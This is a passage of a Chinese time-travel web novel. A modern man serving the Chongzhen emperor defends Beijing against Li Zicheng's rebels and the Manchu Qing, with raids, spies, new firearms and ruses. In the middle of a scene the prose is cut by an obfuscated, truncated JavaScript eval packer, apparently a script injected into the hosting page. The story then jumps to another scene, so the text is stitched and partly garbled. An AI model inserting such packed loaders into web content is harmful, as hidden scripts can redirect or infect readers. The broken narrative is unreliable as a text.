门开一条缝，露出一张枯瘦的老脸。老人看到李炎身后的亲兵，眼中闪过警惕。 “我找‘夜不收’。”李炎亮出锦衣卫腰牌——这是王承恩临时给他的。 老人沉默片刻，侧身让路。 院内别有洞天。穿过狭窄前院，后面竟是一座三层小楼，每层都有黑衣人把守。李炎被引至顶层，房间内陈设简陋，只有一个中年文士在灯下看书。 文士抬头，面容普通，属于扔进人堆就找不出的那种。但李炎注意到他的手——虎口、指节都有厚茧，这是长期握刀握铳留下的。 “锦衣卫北镇抚司百户，沈炼。”文士合上书，“不知李侍郎深夜来访，所为何事？” “抓老鼠。”李炎坐下，将乌鸦铁牌放在桌上，“满清的，还是闯王的？” 沈炼拿起铁牌，摩挲片刻：“手法像正白旗的‘乌鸦’，但配合纵火的……倒像是闯营‘夜不收’的做派。” “两股细作联手了？” “有可能。”沈炼起身，从书架后取出一卷档案，“三日前，我们的人在通州截获一队商旅，从他们身上搜出闯王给多尔衮的信。” 李炎一震：“李自成联络满清？” “内容不详，信使吞毒自尽了。”沈炼展开档案，“但据查，那商队中有一人是正白旗包衣，曾三次出入山海关。” 拼图逐渐完整。李自成强攻不下，便想借满清之力？或者……满清想坐收渔翁之利？ “我要你办三件事。”李炎沉声道，“第一，肃清城内细作，宁可错杀，不可放过；第二，派精干人手出城，查明闯军兵力分布；第三，重点关注山海关方向，一有满清动向，立即回报。” 沈炼挑眉：“李侍郎，锦衣卫直属皇上，你虽有权节制，但……” “非常时期，当行非常之事。”李炎盯着他，“若北京城破，锦衣卫还有存在的必要吗？” 两人对视良久。窗外雨声渐急。 “需要多少人手？”沈炼最终问道。 “你手下能用的，全部。” “代价呢？” “事成之后，我保你锦衣卫指挥使之位。”李炎起身，“但若误事，我会亲手斩你。” 沈炼笑了，笑容里透着刀锋般的冷意：“成交。” --- 寅时，雨势稍歇。 李炎回到紫禁城，乾清宫灯火通明。崇祯披着大氅，在殿内来回踱步，见李炎进来，急步上前：“爱卿，城中情况如何？” “陛下放心，骚乱已平，擒杀细作十七人。”李炎躬身，“但臣有一事禀报。” 听完李自成可能勾结满清的推测，崇祯脸色煞白，跌坐在龙椅上：“他……他怎敢！引狼入室，此乃千古罪人！” “陛下，当务之急是稳住局面。”李炎冷静分析，“满清若真要入关，最快也要十日才能抵京。我们还有时间。” “十日……”崇祯苦笑，“粮草只够七日，军心已现不稳，如何撑过十日？” 殿外传来嘈杂声。王承恩匆匆入内，面色难看：“陛下，百官聚集午门外，要求……要求罢免李侍郎，开城议和。” 李炎心中一沉。该来的还是来了。 “放肆！”崇祯大怒，“城下之盟，奇耻大辱！朕宁可死社稷，绝不议和！” “陛下息怒。”李炎反倒平静，“臣愿与百官当面对质。” “不可！那些人……” “陛下，若不能服众，纵有守城良策也难以施行。”李炎拱手，“请准臣一试。” 崇祯看着这个比自己还年轻的臣子，眼中闪过一丝复杂情绪。良久，他缓缓点头：“朕与你同去。” --- 午门外，百官跪了一地。 为首的是内阁首辅魏藻德，这位五十五岁的老臣须发皆白，此刻却神情激动：“陛下！北京孤城，外无援兵，内无粮草，死守徒增伤亡啊！闯王有言，若开城投降，可保百官身家性命，保皇室血脉不绝……” “所以魏阁老是要朕做投降之君？”崇祯的声音从台阶上传来。 百官抬头，见皇帝与李炎并肩而立，顿时哗然。 “陛下！此獠妖言惑众，昨夜城中骚乱皆因其严刑峻法所致！”一个御史跳起来指着李炎，“臣请立斩此贼，以安民心！” 李炎走下台阶，来到魏藻德面前：“阁老说外无援兵，可知山东刘泽清、江北左良玉已率军北上？说内无粮草，可知内帑尚有存银，可向富户购粮？” 魏藻德冷笑：“刘泽清距京八百里，左良玉更在千里之外，远水怎救近火？至于富户购粮……李侍郎可知，京中大户存粮，十之八九已被闯军细作焚毁？” “那便向百姓借粮。”李炎朗声道，“凡借粮一石，战后还一石半。若城破，此债由新朝偿还。” “荒唐！百姓自己尚且不饱，何来余粮借你？” “那就减膳！”李炎转身，面向百官，“自今日起，宫中每日两餐，皇上与皇后同守此制。百官俸禄减半，省下的银两全部充作军费。我李炎在此立誓：城在人在，城破人亡！” 他的声音在广场上回荡。雨后的清晨，寒气逼人，但这话语却带着灼人的热量。 一些官员动容了。礼部侍郎吴麟征出列：“李侍郎，你真有把握守住？” “没有。”李炎实话实说，“但我有一法，可让闯军十日不敢攻城。” “何法？” “瘟疫。” 全场死寂。连崇祯都愣住了。 李炎继续道：“将病死的牲畜尸体，用投石机抛入敌营。再派死士潜入，在水源中投放污物。不需十日，闯军必生疫病，届时自会退兵。” “此计……有伤天和啊！”一个老臣颤声道。 “那阁老可有更好的法子？”李炎反问，“是眼睁睁看着城破，满城百姓遭屠戮，还是用此狠招退敌，保全数十万生灵？” 无人应答。 魏藻德死死盯着李炎：“你就不怕遗臭万年？” “若能让大明国祚延续，让百姓免遭战火，李炎一人之名声，何足道哉？”李炎笑了，笑容里有些悲凉，“诸位大人读圣贤书，当知‘民为重，社稷次之，君为轻’。今日，便是践行之时。” 他单膝跪地，面向崇祯：“臣请旨：一、开官仓放粮，稳定民心；二、组建民壮队，协助守城；三、施行焦土策略，城外三十里井水下毒、粮草焚毁，坚壁清野；四、遣使联络满清，许以重利，令其暂缓入关——哪怕只能拖延数日。” 崇祯闭上眼睛。再睁开时，眼中只剩决绝：“准奏。诸臣若有异议，可自去午门外叩阙。但若再言议和者……斩！” 天子剑出鞘半寸，寒光凛冽。 百官俯首。 --- 辰时，朝阳初升。 李炎站在德胜门城头，看着城外闯军大营炊烟袅袅。一夜骚乱，换来的是朝堂上的暂时统一，代价是更残酷的战术。 “大人，真要行瘟疫之计？”亲兵队长低声问。 “备而不用。”李炎淡淡道，“那是最后的底牌。现在，我们有更重要的事要做。” 他回到军器局。徐天工一夜未眠，眼睛布满血丝，但精神亢奋：“大人！按您给的图纸，我们试制出了‘崇祯二式’！” 那是一支更接近现代步枪的燧发枪。枪管加长，刻有简易膛线；瞄准具改进；最关键的，是采用了纸壳定装弹药——预先把火药和弹丸用油纸包好，装填速度提升一倍。 “试射。” 百步外的木靶，三发两中。在这个时代，已是惊人精度。 “日产多少？” “若全力赶工，日可产三十支。”徐天工犹豫道，“但熟手工匠不足，钢材也……” “征召全城铁匠、木匠，许以重赏。钢材不够，就熔了宫中的铜器铁器。”李炎毫不犹豫，“十日内，我要五百支新铳，五千发弹药。” “可是宫中器物……” “国都要亡了，还要那些摆设何用？”李炎拍了拍徐天工的肩膀，“徐师傅，我们现在每一刻都在和死神赛跑。闯军的下次进攻，不会太久。” 他走出工坊，迎面撞见沈炼。 “有消息了。”沈炼神色凝重，“闯军分兵五万，由刘宗敏率领，已攻占通州，截断漕运。另有一支三万人的偏师，正在挖掘地道，方向……直指德胜门。” 地道攻城。这是古代攻城战中最难防的一招。 “还有。”沈炼压低声音，“山海关方面，吴三桂已接到勤王诏令，但按兵不动。而满清摄政王多尔衮，亲率八旗精锐六万，已于三日前从盛京出发。” 双线压力。李炎感到太阳穴突突直跳。 “多尔衮到哪儿了？” “最新探报，已过宁远，最迟七日内可抵山海关。”沈炼顿了顿，“李侍郎，若吴三桂开关降清……” “那北京就真的守不住了。”李炎望向东北方向，那里是山海关所在，“但我们还有机会。吴三桂此人，重利而多疑。只要让他看到北京能守住，看到大明还有希望，他就不会轻易投降。” “如何让他看到？” “打一场胜仗，一场足以震动天下的大胜仗。”李炎眼中燃起火焰，“沈百户，我需要你派最精干的人，混出城去，给吴三桂送一封信。” “什么内容？” “告诉他，北京城内有新式火器，可破满清铁骑。告诉他，皇上已下诏，凡勤王有功者，封侯拜将，世袭罔替。再告诉他……”李炎一字一句，“若他降清，必遗臭万年；若他勤王，便是中兴第一功臣。” 沈炼思索片刻：“他未必会信。” “所以需要筹码。”李炎从怀中取出一物——那是一枚手雷，“把这个一并送去。告诉他，此物京城尚有数千。再告诉他，满清入关，第一个要削的就是他吴家的兵权。” 恩威并施，利弊俱陈。这是李炎唯一能做的。 沈炼接过手雷，郑重收好：“我亲自去。” “小心。” “若我回不来……”沈炼难得笑了笑，“李侍郎，记得你许诺的指挥使之位。” “一定。” 目送沈炼离去，李炎深吸一口气。回到城防图前，他开始标记地道可能的方向。必须在闯军挖通之前，找到并摧毁它。 “大人！”一个年轻工匠气喘吁吁跑来，“您要的东西做出来了！” 李炎眼睛一亮：“带我去看。” 军器局后院，摆着一个奇怪的装置：木制框架，配重锤，抛射杆，还有校准刻度。这是简易版的扭力投石机，专门用于投掷李炎设计的“瘟疫包”。 但李炎现在有了新想法。 “改装它。”他指着图纸，“我要它能投掷火药包，精确到五十步内。” “这……恐怕需要时间。” “我们没有时间。”李炎斩钉截铁，“今夜子时前，我要看到三台能用的。” 工匠们面面相觑，最终还是咬牙应下。 离开军器局，李炎登上城墙。守军士兵正在修补垛口，搬运箭矢。一个年轻士兵看到他，突然跪地：“李大人，我们能守住吗？” 周围的士兵都看过来，眼中是同样的疑问。 李炎扶起他，环视众人：“弟兄们，我知道你们怕。我也怕。但怕没有用。闯贼要破城，要抢我们的粮食，杀我们的家人。满清要入关，要让我们剃发易服，做亡国之奴。” 他提高声音：“我们身后，是父母妻儿，是祖宗祠堂，是大明三百年江山！今日我们若退一步，子孙后代就要退一万步！你们告诉我，我们能退吗？” “不能！”有人喊道。 “对，不能！”李炎拔出佩剑，剑指苍穹，“今日，我李炎在此立誓：与北京共存亡，与诸位同生死！城在人在，城破人亡！” “城在人在，城破人亡！”呼声从德胜门蔓延开去，传遍整段城墙。 士气，在这一刻重新点燃。 --- 申时，阴云再聚。 李炎在临时指挥所内研究地图时，王承恩匆匆而来，面色古怪：“李侍郎，有个人要见你。” “谁？” “原司礼监秉笔太监，曹化淳。” 李炎手一顿。曹化淳，崇祯初年的权阉，后因罪罢黜，闲居京城。此人城府极深，且……历史上在李自成破城时，疑似开城门迎贼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有些事，必须亲自做。”李炎望向窗外，天色渐暗，“去准备吧。还有，把新制的毒烟弹带上二十枚。” --- 亥时，暴雨再临。 李炎带着五十名死士，从武英殿后的枯井进入暗道。通道狭窄，仅容一人躬身通过，石壁上渗着水珠，空气浑浊。 走了约半个时辰，前方出现光亮。出口果然在一座破庙的佛像后。 李炎探头观察。庙外雨幕重重，百步外有闯军岗哨的火光。他打了个手势，死士们鱼贯而出，潜入雨中。 根据沈炼的情报，闯军地道入口在西北方向两里处的树林中。众人匍匐前进，雨水掩盖了声响。 子夜时分，他们找到了目标——树林深处，数十个闯军士兵正在挖掘，洞口用油布遮挡，外面有百人守卫。 “大人，硬冲吗？”死士队长低声问。 李炎摇头，指了指上风处。众人会意，悄悄绕到上风头，取出毒烟弹——这是改良版，添加了曼陀罗花粉，能致人昏厥。 “投！” 二十枚毒烟弹划破雨幕，落入敌阵。刺鼻烟雾弥漫，守卫士兵纷纷倒地。挖土的士兵听到动静探头，也被烟雾笼罩。 “上！” 死士们冲出，刀光闪动，迅速解决残余敌人。李炎带人冲入地道口，里面深不见底，已挖了至少三十丈。 “放炸药。”他下令。 死士们将随身携带的火药包堆在地道关键支撑点。这些火药掺了铁钉碎瓷，爆炸后坍塌效果更强。 “撤！” 众人原路返回。刚出树林，身后传来闷响——不是爆炸声，而是坍塌声。地道被成功炸毁。 但就在这时，四周亮起火把。 “中计了！”死士队长惊呼。 数百闯军从四面八方围上来。为首的是个独眼将领，狞笑道：“李侍郎，恭候多时了。我家大王料定你会来破坏地道，特命某在此等候。” 李炎心一沉。沈炼的情报是陷阱，或者……沈炼已经暴露？ “放下武器，可留全尸。”独眼将领举起刀。 五十对五百，绝无胜算。 李炎缓缓拔剑，忽然笑了：“你知道我为什么敢来吗？” “嗯？” “因为我知道，你们内部……也有想杀李自成的人。” 话音未落，闯军阵中突然大乱。一队黑衣人从后方杀出，直取独眼将领。为首之人，正是沈炼！ “沈百户！” “侍郎快走！”沈炼浑身浴血，显然经历苦战，“这里有埋伏，快撤回城！” 李炎咬牙：“一起走！” “我断后！”沈炼一□□穿独眼将领喉咙，“记住你的承诺！” 他带着仅剩的十余名手下，死死挡住追兵。李炎在死士护卫下且战且退，退回破庙暗道。 最后一刻，他回头看了一眼。沈炼的身影在火海中摇晃，最终被吞没。 暗道关闭时，李炎听到外面传来沈炼最后的吼声：“大明万岁！” --- 寅时，李炎回到紫禁城。 五十死士，回来了二十三人。带回来的，除了沈炼用命换来的情报，还有独眼将领身上搜出的一封信。 信是牛金星写给多尔衮的，内容触目惊心：李自成愿割让山海关以北，换满清助其攻破北京，事后平分天下。 “好一个平分天下……”崇祯看完信，手在颤抖，“这些逆贼，这些逆贼！” “陛下，现在不是愤怒的时候。”李炎虽然疲惫，但头脑清醒，“这封信证明，李自成与满清确有勾结。但也暴露了他们的矛盾——李自成不想让满清独占中原。” “爱卿的意思是……” “我们可以利用这点。”李炎眼中闪过冷光，“伪造李自成给多尔衮的信，内容改成李自成假意合作，实则想在破城后联合明军反攻满清。再伪造多尔衮给李自成的回信，声称已识破诡计，将先灭闯营，再取北京。” “反间计？”王承恩眼睛一亮。 “不止。”李炎继续道，“将真信、假信都抄录多份，派人散布于两军之中。李自成多疑，多尔衮谨慎，必生嫌隙。只要他们互相猜忌，我们就有喘息之机。” 崇祯沉思良久：“需要多久？” “三日。三日内，闯军会因地道被毁而暂缓进攻，满清也会因猜忌而观望。这三日，就是我们最后的机会。” “什么机会？” “练兵，造械，筹粮。”李炎一字一句，“以及……发动百姓。” 他走到窗前，东方已露鱼肚白。雨停了，但乌云未散，更大的风暴还在酝酿。 “陛下，请准臣在京城实行军管。凡十六岁以上、五十岁以下男子，皆需接受训练；凡大户存粮，按市价征购；凡商铺工坊，全力生产军需。” “百官若有反对……” “臣有尚方宝剑。”李炎转身，眼中血丝密布，但目光如炬，“非常时期，当用非常手段。一切罪责，臣一人承担。” 崇祯看着这个比自己还年轻的臣子，忽然起身，解下腰间玉佩：“此乃太祖所传，见之如朕亲临。李炎接旨：朕封你为‘总督京师军务，节制天下勤王兵马’，赐王命旗牌，有临机专断之权！” 这是前所未有的信任，也是前所未有的重担。 李炎双手接过玉佩，单膝跪地：“臣……万死不辞！” 走出乾清宫时，天已大亮。 北京城在晨光中苏醒，炊烟袅袅，市井声渐起。百姓们还不知道，昨夜城外发生了怎样的厮杀，也不知道，更大的危机正在逼近。 但李炎知道。 他握紧手中玉佩，望向东北方向。那里，山海关的烽火即将点燃；那里，两个王朝的命运即将碰撞。 而他，这个来自四百年后的穿越者，将用自己的一切，为这个古老的文明，搏一个不一样的未来。 哪怕前路荆棘，哪怕血染征衣。 “来人。”他沉声道，“传令全城：即日起，实行战时体制。凡大明子民，皆需为守城出力。我们还有三天时间——” “三天后，决一死战。” 4. 三日烽火 晨钟敲响卯时，北京城在战时体制下苏醒。 德胜门城楼前的广场上，三千名新征召的民壮列队而立。他们多是城里商户、工匠、甚至是书生，此刻握着粗制滥造的长矛，脸上混杂着恐惧与茫然。李炎站在临时搭起的高台上，目光扫过这些未来的守城者。 “诸位乡亲父老。”他的声音通过铜皮喇叭传开，“闯贼要破的，不只是皇城，是咱们的家园！他们破城后会做什么？史可鉴：张献忠破襄阳，屠城三日；李自成破洛阳，王府之外，百姓何辜？” 人群骚动。这些消息早已在城中流传，但由朝廷大员亲口说出，分量不同。 “我知道你们怕。”李炎话锋一转，“我也怕。但怕有用吗？今日你们放下武器，明日贼人就会闯进你们家门，抢走粮食，凌辱妻女，砍杀父母！你们愿意吗？” “不愿意！”前排一个铁匠吼道。 “对，不愿意！”声浪渐起。 李炎抬手压下喧哗：“从今日起，你们不再是平民，是守城兵！每日口粮加倍，杀敌有赏，受伤有抚恤，战死……我李炎以人格担保，必厚恤家眷！” 他走下高台，来到一个少年面前。少年最多十六岁，握矛的手在颤抖。 “叫什么名字？家里做什么的？” “回、回大人……小的赵石头，家父是东城木匠，前日被流矢……” 少年眼圈红了。李炎拍拍他的肩膀：“想报仇吗？” “想！” “好！”李炎转身对所有人说，“看到没有？这就是我们守城的理由！不为皇上，不为朝廷，为的是父母妻儿，为的是血仇必报！” 士气在仇恨与生存本能中被点燃。李炎命老兵带队训练最基础的阵列和刺杀，自己则赶往下一个地点。 --- 西苑军器局，炉火昼夜不息。 徐天工满脸烟灰，正指挥工匠们组装新式火炮。那是根据李炎提供的“拿破仑炮”图纸改良的青铜炮，口径三寸，炮身刻有散热环，配带轮炮架，可快速移动。 “大人，试制了四门，炸膛一门，成功三门。”徐天工声音嘶哑，“最远射程八百步，精度尚可。” 李炎抚摸着还温热的炮身：“量产需要多久？” “若材料充足，日可产两门。”徐天工苦笑，“但铜料已尽，工匠们也到了极限，昨夜累倒三人……” “铜料我去想办法。”李炎沉思片刻，“工匠分三班，轮流歇息。凡累倒者，赏银五两，派医官诊治。” 他走出工棚，迎面撞见曹化淳。老太监身后跟着十几个小太监，抬着五口沉甸甸的大箱。 “李侍郎，老奴把宫里铜器都收来了。”曹化淳掀开箱盖，里面是各式铜灯、铜鼎、铜佛像，“连慈宁宫的铜熏炉都拆了，太后娘娘起初不允，老奴说是皇上旨意，这才……” 李炎心中一动。这老太监办事果然狠辣。 “曹公公有心了。”他命人清点，“全部熔了铸炮。另外，宫内铁器、铅锡器也一并收集。” “铁器尚可，铅锡……”曹化淳犹豫，“多是祭祀礼器，恐有不祥。” “国都要亡了，还管什么祥不祥？”李炎摆手，“去办吧，就说是我说的，一切罪责我担。” 曹化淳领命而去。李炎看着他佝偻的背影，心中警惕未消——此人太主动，必有所图。 午时，李炎回到兵部衙门。这里已改成战时指挥中枢，墙上挂满地图，二十余名书吏正在整理各路情报。王承恩迎上来，神色焦虑。 “李侍郎，通州陷落了。” 李炎手一顿：“守将呢？” “总兵张缙彦……降了。”王承恩声音低沉，“他还写信劝降京城旧部，信已被锦衣卫截获。” “信在哪儿？” 王承恩递上密函。李炎快速浏览，信中极尽威逼利诱之能，声称闯王已许诺，凡投降将领皆可保留原职，负隅顽抗者破城后诛九族。 “送信人何在？” “已扣押。” 李炎沉思片刻：“让他送信进城。” “什么？” “将计就计。”李炎眼中闪过寒光，“你去找几个死囚，扮成军中将领，假装与张缙彦联络。再‘无意’让细作看到他们密会。我要李自成以为，京城守军即将内讧。” 王承恩恍然：“反间计！” “双管齐下。”李炎铺开地图，“同时，我们要真的打一场胜仗，一场足以震慑内鬼、鼓舞军心的大胜仗。” 他的手指点在西直门外：“闯军粮草大营在此，守军约三千。今夜，我要端了它。” --- 申时，武英殿偏殿。 李炎向崇祯汇报作战计划。年轻的皇帝听完，沉默良久。 “爱卿要亲自去？” “必须去。”李炎解释，“新式火炮首次实战，需我现场指挥。且突袭战风险极大，主将若不在前线，将士难有死战之心。” 崇祯起身踱步。窗外暮色渐浓，殿内烛火摇曳，在他脸上投下深深阴影。 “朕昨夜梦见太祖皇帝。”他忽然说，“太祖问朕：大明江山，何以至此？朕无言以对。醒来后，朕想明白了——非天亡大明，是人祸，是党争，是腐败，是这二百年来积重难返的沉疴。” 他转身看向李炎：“爱卿，若此战得胜，朕许你改革之权。军制、税赋、吏治……你想改什么，朕都准。” 这是比尚方宝剑更重的承诺。李炎单膝跪地：“臣必竭尽全力。” “但若败了……”崇祯扶起他，眼中竟有泪光，“答应朕，无论如何，保太子南下。大明……不能绝嗣。” 李炎心头震动。这一刻的崇祯，不再是刚愎自用的君王，只是一个想要保住血脉的父亲。 “臣，遵旨。” --- 戌时，德胜门悄然开启。 李炎亲率一千精兵出城。这支队伍装备了新式燧发枪五十支，轻便火炮三门，还有二百名背负炸药包的死士。为隐蔽行踪，所有人马衔枚，蹄裹布，借着夜色掩护，沿城墙阴影向西移动。 二更时分，抵达预定地点——西直门外五里的一片密林。从这里可以望见闯军粮草大营的灯火，营寨依河而建，外围有木栅，四角有望楼。 “大人，守卫比预想的森严。”斥候回报，“巡逻队每半刻钟一巡，栅栏外还有陷坑。” 李炎用夜视仪观察——电池只剩18%，但足够看清布防。营寨西北角相对薄弱，且靠近河道，可利用水声掩盖动静。 “分三队。”他低声部署，“一队由我率领，从西北角潜入，焚毁粮草；二队埋伏在东南侧树林，待营中火起，佯攻吸引守军；三队携带火炮，占领制高点，阻击援军。” “若遇大队敌军……” “不求全歼，只求烧粮。”李炎强调，“得手后按预定路线撤退，不可恋战。” 子时，行动开始。 李炎带三百人匍匐前进。接近栅栏时，他示意停步——前方地面颜色有异，是陷坑。两名工兵上前，用长杆探路，果然发现三处深坑，坑底插有削尖的木桩。 “绕过去。” 他们改道从河边接近。河水哗哗，掩盖了脚步声。栅栏在此处有一段腐朽，工兵用锯条悄无声息地锯开缺口。 “进。” 士兵们鱼贯而入。粮草大营内，数十座帐篷堆满粮袋，中央空地上还拴着百余匹战马。巡逻队刚刚走过，下一轮要等半刻钟。 李炎打手势：分散放火。 士兵们取出火折子和火油罐。但就在此时，异变突生—— “敌袭！！！” 一声尖啸划破夜空。望楼上，一个哨兵不知何时醒来，敲响了警锣。 “被发现了！快放火！” 士兵们顾不得隐蔽，将火油泼向粮垛，火折子一扔，火焰腾起。但营中守军反应极快，不过数十息，已有数百人从帐篷中冲出。 “撤！”李炎果断下令。 众人从原路退出，但缺口处已被闻讯赶来的守军堵住。箭矢如雨射来，当即有十余人倒下。 “用手雷开路！” 三枚手雷掷出，爆炸声中，木栅被炸开更大缺口。李炎带队冲出，迎面却撞上一支骑兵——正是巡逻队折返。 狭路相逢。 “列阵！燧发枪准备！” 五十名火枪手迅速排成三列。李炎亲自指挥：“第一列，放！” “砰砰砰……”白烟弥漫，冲在前面的骑兵人仰马翻。 “第二列，放！” 三轮齐射，骑兵队形大乱。但后续闯军如潮水般涌来，至少有两千人。 “大人，援军到了！”亲兵指着东南方向——那里火光冲天，佯攻部队已经动手。 “向东南撤退，与二队会合！” 边打边撤，燧发枪的射程优势得以发挥。闯军追兵在百步外不断倒下，但人数差距太大，距离在逐渐缩短。 就在此时，高处传来炮响。 “轰轰轰——” 三门火炮开火，实心铁弹落入追兵密集处，犁出一道道血路。炮弹过后是霰弹，铁珠如暴雨覆盖，追兵攻势为之一滞。 “好！”李炎精神一振，“快撤！” 三队在制高点掩护，一、二队交替撤退。闯军虽众，但在火炮压制下不敢紧追，眼睁睁看着明军消失在夜色中。 --- 寅时，李炎率部返回城中。 一千人出城，回来了七百余，伤亡近三成。但战果辉煌：焚毁粮草大营七成存粮，缴获战马三十匹，斩杀闯军约八百人，而最重要的是—— “大人请看。”亲兵呈上一面烧焦的旗帜。 那是闯军中军旗，本不该出现在粮草大营。旗上还系着一枚玉符，刻有“永昌”二字——李自成称帝后的年号。 “李自成的御用之物？”李炎皱眉。 “俘虏交代，刘宗敏昨夜巡查粮营，将此旗暂存营中，说是要鼓舞士气。”亲兵兴奋道，“大人，咱们差点逮到大鱼！” 李炎却心中一沉。太巧了，巧得不像真的。 他命人严审俘虏，自己则盯着那面旗帜沉思。忽然，他注意到旗杆顶端有处不自然的凸起，用力一拧，竟拧下一个小铜管。 铜管内有张纸条，只有一行字： “三日，子时，阜成门。” 陷阱。这是故意让他们劫走的信物，目的就是传递假情报。 李炎立即召集将领：“闯军想让我们以为，三日后他们会主攻阜成门。但真正的攻击方向，很可能是别的城门，甚至……是多点同时进攻。” “那这三日期限……” “可能是真的。”李炎铺开地图，“李自成需要时间重新调配兵力，也需要时间等满清的反应。这三天，就是他给我们，也是给他自己的缓冲期。” 他抬头看向众人：“所以这三天，就是我们最后的机会。不是守城的机会，是——主动出击的机会。” 满堂皆惊。 “大人，我们兵力不足啊！” “正因为兵力不足，才要出其不意。”李炎的手指在地图上移动，“闯军新败，粮草被焚，士气受挫。他们料定我们会死守，我们就偏要打出去。” 他画出三条出击路线：“第一路，佯攻通州，牵制刘宗敏部；第二路，夜袭卢沟桥，断其退路；第三路……直取李自成中军。” “这太冒险了！” “守城更是等死。”李炎冷静分析，“我军新式火器，最适合野战发挥射程优势。而闯军多为步兵，骑兵不足，只要我们机动灵活，完全可以在运动中消耗他们。” 他顿了顿：“当然，这不是决战，是袭扰。打得过就打，打不过就走。目的只有一个：让李自成不敢全力攻城，为我们争取更多时间。” “等什么？” “等两样东西。”李炎望向东北方向，“一样是山海关的吴三桂，一样是……江南的粮草。” 他展开另一份文书：“今早收到密报，南京兵部尚书史可法已筹集粮草三十万石，正沿运河北上。只要我们能再撑半个月，援军和粮草都能到。” 希望虽然渺茫，但总比没有强。 众将交换眼神，最终齐声：“末将愿往！” --- 卯时，天将破晓。 李炎回到住处，终于能卸下盔甲。左臂伤口因剧烈活动而崩裂，血迹渗透绷带。军医重新上药时，他咬着布巾，冷汗涔涔。 “大人，您需要休息。”军医忍不住说。 “等打完这一仗。”李炎苦笑，“对了，伤兵营情况如何？” “新到的金疮药效果很好，死亡率降了三成。但消炎药材快用完了，尤其是大蒜素……” 大蒜素是李炎用土法提取的抗菌剂，虽然纯度不高，但在这个时代已是神药。 “让户部去民间收购大蒜，有多少要多少。”他顿了顿，“还有，让太医署把所有医官派到各城门，就地诊治伤员。” 军医领命而去。李炎靠在椅背上，闭目养神。但脑子停不下来，各种思绪纷至沓来：火炮产量、火药配比、士兵训练、细作清查、朝廷党争…… “大人。”门外传来轻柔女声。 李炎睁眼，看到一个宫女端着食盒站在门口。她约莫二十岁，容貌清秀，眼神清澈。 “你是？” “奴婢春梅，奉王公公之命，给大人送膳。”宫女低头，“王公公说，大人已一日夜未进食了。” 食盒里是简单的米粥和咸菜，但热气腾腾。李炎确实饿了，接过碗筷：“替我谢谢王公公。” 春梅却没有走，欲言又止。 “还有事？” “大人……”春梅忽然跪下，“奴婢有个弟弟在城外闯军营中，是被掳去的。奴婢想求大人，若、若有机会……” 李炎放下碗：“你弟弟叫什么？多大年纪？” “赵铁柱，今年十七，左耳后有块胎记。”春梅泣声道，“他是去通州卖柴时被掳的，爹娘为此哭瞎了眼……” 乱世之中，这样的悲剧何其多。 “我记下了。”李炎扶起她，“若能救，我一定救。但你也要做好准备，战争残酷，他可能已经……” “奴婢明白。”春梅擦泪，“只要大人肯记着，奴婢就感激不尽。” 她退下后，李炎食不知味。这个时代每个人都有自己的故事，每个人的命运都如风中残烛。他要拯救的，不只是王朝，是千千万万个这样的家庭。 可是，做得到吗？ 他走到窗边，东方天际泛起鱼肚白。新的一天，新的战斗。而这样的日子，还要持续多久？ “大人！”亲兵队长匆匆而来，“曹化淳曹公公求见，说有要事。” 李炎皱眉：“让他进来。” 曹化淳这回没带随从，独自一人，神色凝重：“李侍郎，老奴查到一事，事关重大。” “公公请讲。” “宫中有人与闯军暗通。”曹化淳压低声音，“昨夜子时，老奴亲眼看见，司设监少监王安，在御花园假山后放飞信鸽。” 司设监掌管宫中器物，王安此人李炎有印象——四十余岁，平时沉默寡言。 “信鸽飞往何处？” “老奴已命锦衣卫追踪，应在阜成门外被截获。”曹化淳取出一小卷纸条，“这是抄录的内容。” 纸条上只有八个字：“三日后，武英殿，亥时。” 武英殿是李炎现在的住处。 “他们要刺杀我？”李炎冷笑。 “恐怕不止。”曹化淳声音更低，“老奴还查到，王安与坤宁宫一位姓田的嬷嬷过从甚密，而那嬷嬷……是嘉定伯府出来的。” 嘉定伯周奎，崇祯岳父，当朝国丈。 李炎瞳孔收缩。历史上，北京城破前，周奎确实不肯捐饷，城破后迅速投降。但若说他要勾结闯军弑君…… “证据呢？” “老奴已派人监视嘉定伯府，今日进出之人，皆在掌控。”曹化淳道，“最迟今晚，必有收获。” 李炎盯着老太监：“曹公公为何如此卖力？” 曹化淳沉默良久，忽然撩起袍角——小腿上，一道狰狞刀疤从脚踝延伸到膝盖。 “崇祯元年，老奴因直言触怒魏忠贤，被罚廷杖一百，腿骨尽碎。是当时还是信王的皇上，暗中命太医救治，保下这条腿。”他放下袍角，眼神复杂，“老奴是阉人，但也是人，知道什么叫恩义。” 李炎信了七分。明末官场虽腐败，但确实有曹化淳这样复杂的人物——既可狠辣无情，也会念及旧恩。 “好，此事交由公公彻查。”他沉声道，“但切记，没有铁证前，不可打草惊蛇。尤其是……牵涉到国丈。” “老奴明白。” 曹化淳退下后，李炎在房中踱步。内忧外患，真是半点不假。他原本以为，只要挡住外敌就能争取时间改革，现在看来，内部的蛀虫可能比外敌更致命。 必须加快动作了。 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李炎自知失言，忙掩饰道：“在海外时见过抄本。先生书中所述农耕、冶炼、制器诸法，实乃经世致用之学。” 宋应星眼睛亮了。他一生致力于实学，却不受主流文人士大夫待见，如今竟遇知音。 “大人过誉。老朽那些粗浅见解，不过是工匠之技罢了。” “先生此言差矣。”李炎认真道，“国之根本，在农在工。若无工匠造器，何来强兵？若无农夫种粮，何来军饷？晚生正欲改革军器局，先生可否出山相助？” 宋应星捋须沉思，最终点头：“固所愿也，不敢请耳。” 有了这位技术大牛的加入，军器局如虎添翼。李炎当即任命他为总顾问，与徐天工共同主持技术革新。 --- 午时，李炎在兵部召开军议。 宋应星提出一项重要建议：“老朽观闯军攻城，多依赖云梯、冲车等器械。我们可在城头设置‘转射机’，发射带倒钩的火箭，专烧其器械。” “转射机？” “类似弩炮，但可旋转，覆盖角度大。”宋应星画出草图，“制作简单，两日可成百架。” 李炎大喜，立即下令赶制。 会上还确定了主动出击的方案：由年轻将领孙传庭（历史上他本该已战死，但李炎的介入改变了时间线）率两千骑兵，三日后佯攻通州；李炎亲率一千火枪手、五百炮兵，今夜再袭闯军营地，这次目标是摧毁他们的火炮阵地。 “太冒险了。”孙传庭反对，“大人身系全局，岂可再赴险地？” 